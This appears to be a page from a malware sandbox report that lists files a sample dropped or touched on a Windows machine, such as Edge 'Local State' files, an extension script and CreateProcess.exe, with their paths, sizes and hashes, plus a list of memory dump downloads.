Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 33KB
SHA256 6a25d0a4323e57b2ad8d93be9cdc7750fb7cdc6593dcce9e2bffe8af91799b6f
MD5 a650ebf213a8b30079eac05704c45bc5
SHA1 07934b8aa15c6b49adf4c10992be3071239fcda4
SHA512 9da8d3e24d69a13d01826fb64f424c95c6cede172f803ee6f202f38e3e6315dec036ed760d1280f02be5d875463b431b246272916f4bbc80b3f7c65a8a55d200
SSDEEP 768:a7N3osHSFaju2EnnqMwQi5BgK5/CwYcZf2sjPj:2N3oQWVmBg8/dJ2srj
TLSH
T1D9F2AE31ECB4CEB74CFE9244F686738AAFF45263D8950998C4DA5B0E45939AE130BC17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 33KB
SHA256 c2d7c030e7a2f11300e9c37da6ed8670dc84e31f2d8c03fb4c17469d7bd3c3e6
MD5 dfd020450a7b9e5abbbc7f5d53998e68
SHA1 eed5f82e647661f1988c244a2408f460a1c7cd04
SHA512 91dd9439549d993ae248feab3a598750ee2e5438497be7d45ecff7b83415aeea47558928c81c9747a62787fd7130261a5cea8464057419e7ce9038ed6a34e4af
SSDEEP 768:S7N39HHSFaju2EnnqMwQi5BgK5/CwYcZf2sjPj:+N39lWVmBg8/dJ2srj
TLSH
T18CF2AE31ECB4CEB74CFE8244F286738AAFF45263D8950998C4DA5A0E45939AE130BC17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 42KB
SHA256 96a84013f33b7657d6adfb87a4737b3d068f8bb456dbf8de0a37bb78228abd34
MD5 fa5b845d2e063ee341097880699aaeba
SHA1 11a7d5cb002139bfef225cbdc602312a3b806ce4
SHA512 03359c412c109886ee0cb0bb2a870ae56a0a638567e0250a1ba5edf4e9ad3dc1e1fb756d5edaf7fe0fc4d4544de68d362954c564a9dc422aeb285b3b55f605c3
SSDEEP 768:SQFQZ3UwgfaHBlaju2EY2nqMwQi5BgK5/CwYcZf2sjPj:QZ3+jv2VmBg8/dJ2srj
TLSH
T1AA1317F198E78A77D8AE4743A77D6E469EBCC163B4984894B7C55D0CCC825BFC30A806
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 37KB
SHA256 853fe7e5d49608405656ae5c1d9b2f84a1d315c0e0e3d2d89d423a74a34ee5d8
MD5 999f66d3a148bba94d0422a6f9a76fab
SHA1 ba5e7c6bffe935b11a35019a715e176d5355cd03
SHA512 67094c9b01a926f2fb4f08aeec995a16043ce3d03c768f9ad2b5508dacde7b8b6b6f156dd8bae78ec6fded2967e4e5859f3aa7eb1d33cfca3f4cae607b4bb8d9
SSDEEP 768:O/UxvxjgC+Ft3SqPSFaju2wnqMwQi5BgK5/CwYclMA8Dea:DZj3+Ft3SacVmBg8/d2A8Sa
TLSH
T1D603C036ECB49E778CF68244774A638BEFF45193C480099489ED2E0E47979AC130BC47
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 55aa4ab756834699189543863036551542c61249184224f927d1681ef15164dd
MD5 c1bec3bc77db46888e279f8b3eeb18fc
SHA1 c2d14f387c796193ddc6378267768745c10dae14
SHA512 8d41fbab8134eec1a95a53d4d56d1d2edb1edced5b2f4987278e5b8f6ac9b169c9928a0c52ebe7a66393caddfa5a29e001890386b54105a8e69958661b40ec35
TLSH
T134F09E808C3E1AC5D6B90F6FE40716FC40D8591670D9287844CEE4A8A47B05B311586D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 dc86dff8fbd3b224794d65e8c0974ffa3b17c53a934c92f82e938e524fe823dd
MD5 80c2dfaf9affc09798a4976ae70f1b0b
SHA1 80daf1112206b189525aa4f5b380fbbba97b583a
SHA512 be5ed753856621e4dc5b64324872539291704bf5d2a415ac993b5f475db90e958544f281ac36d3e17af93c554895ceeaccf6fa9b0839d21c60a38443b2081876
TLSH
T15FE06880883D0EC2EBB60A5FE40706FC40C8491AB498187804CEF899A03B0973115C7D
MD5 SHA1 SHA512 TLSH

Submit Download

642304ad-4eb9-483c-9536-54a5ad1a3376.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\642304ad-4eb9-483c-9536-54a5ad1a3376.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir3196_1985402831\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 57881cddba23095f707e5e6be6488f3b5d4f609d1f793173265253a31c7b0977
MD5 8fd2acfe8f9d344febdefe2193606d52
SHA1 1bbea08c0ca701385c3639f17ddbfba12d7715f1
SHA512 b34581855c13ee7702bbb93f75fd7314c88abf40a8244f07865bd86faa76de6bd93089be750689f613f65ea30a8cdaf7bb695be56b19c22ae43f9e4daefbbc82
TLSH
T10F71008357ADD9F2C29A5FF002835644F2BB22780B2330204B915986AA34A3A58B8F04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/668-257-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1216-406-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1484-421-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2152-325-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2440-385-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3056-358-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3444-464-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3460-488-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3608-60-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4292-306-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4508-410-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4660-269-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4664-461-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4844-220-0x00000242D6000000-0x00000242D63BB000-memory.dmp

Download

memory/4844-221-0x00000242D6000000-0x00000242D63BB000-memory.dmp

Download

memory/5232-310-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5588-282-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5628-333-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5636-445-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5672-183-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5724-232-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5900-484-0x0000000000010000-0x00000000000AB000-memory.dmp

Download